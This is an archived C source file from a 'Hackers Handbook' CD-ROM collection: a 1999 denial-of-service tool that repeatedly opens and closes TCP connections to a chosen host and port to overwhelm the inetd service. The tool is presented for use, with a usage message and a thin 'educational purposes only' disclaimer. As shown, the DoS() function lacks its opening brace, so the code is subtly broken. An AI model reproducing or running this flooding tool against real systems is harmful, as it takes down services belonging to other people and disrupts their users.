home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / c_scripts / inetd_DoS.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-04-11  |  1.4 KB  |  64 lines

  1. /*
  2.  Inetd DoS by ArchAng3| 0f Death - Member Of Midgard Security Team.
  3.  Disclaimer : This is for educational purposes only!
  4. */
  5.  
  6. #include <stdio.h> 
  7. #include <string.h>
  8. #include <stdlib.h>
  9. #include <netdb.h> 
  10. #include <sys/types.h>
  11. #include <netinet/in.h>
  12. #include <sys/socket.h>
  13.  
  14. int sockz;
  15.  
  16. void usage(char *esez)
  17. {
  18.   printf("Inetd DoS by ArchAng3| 0f Death - Member Of Midgard Security
  19. Team\n\n");
  20.   printf("Syntax : %s host port [times to connect]\n\n",esez);
  21. }
  22.  
  23. void main(int argc, char *argv[])
  24. {
  25.    int i;
  26.    if(argc!=4){ usage(argv[0]); exit(0); }
  27.    for(i=0;i<atoi(argv[3]);i++){
  28.      DoS(argv[1],argv[2]);
  29.      printf("%d - ",i+1);
  30.    }
  31.    printf("Done!\n");
  32. }     
  33.  
  34. int DoS(char *z,char *x)
  35.    struct sockaddr_in sin;
  36.    struct hostent *he;
  37.    he=gethostbyname(z);
  38.      if(he) {
  39.         memcpy((caddr_t)&sin.sin_addr.s_addr, he->h_addr, he->h_length);
  40.      } else {
  41.         printf("Host [%s] --> Hmm , are you sure this is
  42. right??\n\n",z);
  43.         exit(-1);
  44.      }
  45.    
  46.      sockz = socket(AF_INET, SOCK_STREAM, 0);
  47.    
  48.      if(sockz < 0) {
  49.         printf("** Socket Error **\n");
  50.         exit(-1);
  51.      }
  52.    
  53.      sin.sin_family = AF_INET;
  54.      sin.sin_port = htons(atoi(x));
  55.    
  56.      if(connect( sockz, (struct sockaddr * )&sin, sizeof(sin)) < 0 ) {
  57.         printf("Host --> [%s] ** Port --> [%s]\n",z,x);
  58.         printf("Closed or Firewalled Port\n");
  59.         exit(-1);
  60.      }
  61.    close(sockz);
  62. }
  63.